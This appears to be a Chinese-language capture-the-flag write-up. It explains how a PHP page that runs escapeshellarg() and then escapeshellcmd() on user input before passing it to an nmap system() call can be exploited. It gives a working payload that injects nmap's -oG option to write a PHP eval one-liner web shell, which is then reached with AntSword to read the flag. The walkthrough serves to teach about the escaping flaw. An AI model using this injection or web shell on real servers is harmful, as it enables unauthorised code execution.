0x01分析题目
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) { $_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR']; }
先看第一个if,这里是要求remote_addr和http_x_forwarded_for相同,但是没有什么实际作用,因为就算不同也没有else, 影响不大。
if(!isset($_GET['host'])) { highlight_file(__FILE__); } else { $host = $_GET['host']; $host = escapeshellarg($host); $host = escapeshellcmd($host); $sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']); echo 'you are in sandbox '.$sandbox; @mkdir($sandbox); chdir($sandbox); echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host); }
再来看第二个if块代码,首先是要修必须以get的方式传入一个host参数。如果没有传如参数,高亮显示代码;传入参数后,保存在变量$host中。
变量$host先经过两个函数的处理,然后会将$host的值放入system中执行。这中间呢,创建了一个目录,并且通过chdir()使得system的命令执行也在创建的这个目录。
0x02命令执行
escapeshellarg()函数,在linux系统下,会将单引号转义成 ''' ,用单引号将字符串括起来。
escapeshellcmd()函数,在linux系统下,会将未配对的单引号等特殊符号进行转义。
这样当这两个函数混合在一起使用时,就会导致,转义的单引被绕过。
题目中给出的是nmap命令,拼接上我们可控的参数$host,那么就可以通过添加nmap参数执行将命令和结果写入文件的操作,写入一句话木马。
nmap写入文件的参数是 -oG
那么对应的payload
?host = ' <?php @eval($_POST["hack"]);?> -oG hack.php ' 经过两个函数处理后 ' '\''<?php @eval($_POST["hack"]);?> -oG hack.php '\''' 实际执行的nmap命令,那么将会在创建的目录下生成一个hack.php,一句话写入成功 nmap -T5 -sT -Pn --host-timeout 2 -F ' '\''<?php @eval($_POST["hack"]);?> -oG hack.php '\'''
生成的一句话木马在通过md5加密后mkdir下面
通过蚁剑连接生成的一句话木马,在根目录下找到flag
这道题呢,主要就是考察了escapeshellarg()函数和escapeshellcmd()这两个函数混用产生的安全隐患。
以及对nmap指令参数的了解